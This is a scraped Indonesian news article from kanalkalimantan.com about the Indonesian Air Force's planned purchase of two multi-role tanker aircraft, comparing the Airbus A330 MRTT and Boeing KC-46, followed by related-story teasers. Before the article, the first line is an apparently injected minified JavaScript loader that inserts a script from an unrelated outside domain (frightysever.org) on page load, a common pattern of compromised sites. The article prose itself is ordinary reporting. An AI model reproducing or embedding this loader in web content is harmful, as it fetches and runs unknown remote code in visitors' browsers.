(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Sejak tahun 2015 diwacanakan, akhirnya ada titik terang untuk pengadaan dua unit pesawat tanker multiguna untuk kebutuhan TNI AU.
Dilansir situs indomiliter.com, ada dua jenis pesawat tanker yang berkompetisi dalam rencana strategis TNI AU, yaitu Airbus A330 MRTT (Multi Role Tanker Transport) dan Boeing KC-46 Pegasus. Meski peluang terbesar nampaknya mengarah pada jenis Airbus A300 MRTT, yang kelak menjadikan Indonesia bisa bersanding dengan Singapura dan Australia sebagai pengguna pesawat tanker sejenis.
Baca juga: Ada 37.746 Laporan Kasus Pungli, Sektor Pelayanan Publik jadi Sorotan!
Walau belum ada kontrak efektif dengan pihak Airbus, titik cerah pengadaan telah datang dari pihak pemangku budget, yaitu Kementerian Keuangan. Dimana telah disetujui pagu anggaran yang diusulkan oleh Kementerian Pertahanan pada 31 jenis pengajuan yang berasal dari pinjaman luar negeri, persisnya di antara 31 item tersebut, telah diloloskan untuk pengadaan dua unit pesawat tanker senilai US$700 juta.
Dalam persepsi strategis, adopsi MRTT adalah jawaban atas perbedaan platform pada jet tempur TNI AU. Seperti kelompok jet tempur asal Amerika Serikat, F-16 Figting Falcon yang jumlahnya terus bertambah, maka menganut sistem pengisian bahan bakar di udara (air refuelling system) menggunakan teknik boom.
Baca juga: BESOK. Ibnu-Arifin Resmi Dilantik sebagai Wali Kota dan Wakil Wali Kota Banjarmasin
Sementara kelompok Sukhoi Su-27/Su-30 dan Hawk 200 mengacu air refuelling system dengan teknik hose. Dan selama ini yang baru bisa merasakan ‘disusui’ dari Ibu Kandung adalah jet tempur Sukhoi dan Hawk 200, lantaran TNI AU hanya mempunyai pesawat tanker KC-130B Hercules.
Atas dasar efektivitas dan efisiensi, TNI AU membutuhkan jenis pesawat tanker yang mampu ‘menyusui’ dua platform jet tempur sekaligus. Ini artinya TNI AU dapat melakukan penghematan biaya operasional, sementara armada jet tempur F-16 yang selama ini tak pernah mendapatkan ‘perhatian’ di udara akan mempunyai jarak jangkau terbang dan endurance lebih panjang dengan MRTT.
Tidak itu saja, menyandang gelar “Multi Role” pesawat twin engine ini juga dapat disulap untuk kebutuhan angkut personel dan Medevac (medical evacuation).
Baca juga: Rekonstruksi Pembunuhan di Terminal Gambut, Pelaku dan Korban Sempat Bercumbu di TKP
Belum diketahui, untuk wahana pesawat yang akan digunakan nanti, apakah berupa platform pesawat baru, ataukah berasal dari pesawat bekas pakai maskapai komersial yang kemudian dikonversi.
Sebagai ilustrasi, Angkatan Udara Australia (RAAF) pada Juli 2015 mencapai kesepakatan pembelian dua unit Airbus A330-200 milik Qantas untuk dikonversi menjadi KC-30A (varian A330 MRTT Australia). Kedua pesawat Qantas dengan nomer VH-EBH (MSN 892) and VH-EBI (MSN 898) dikonversi dengan nilai AUS$408 juta. Lokasi konversi dilakukan di Getafe, Spanyol. (kanalkalimantan.com/indomiliter)
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
This website uses cookies.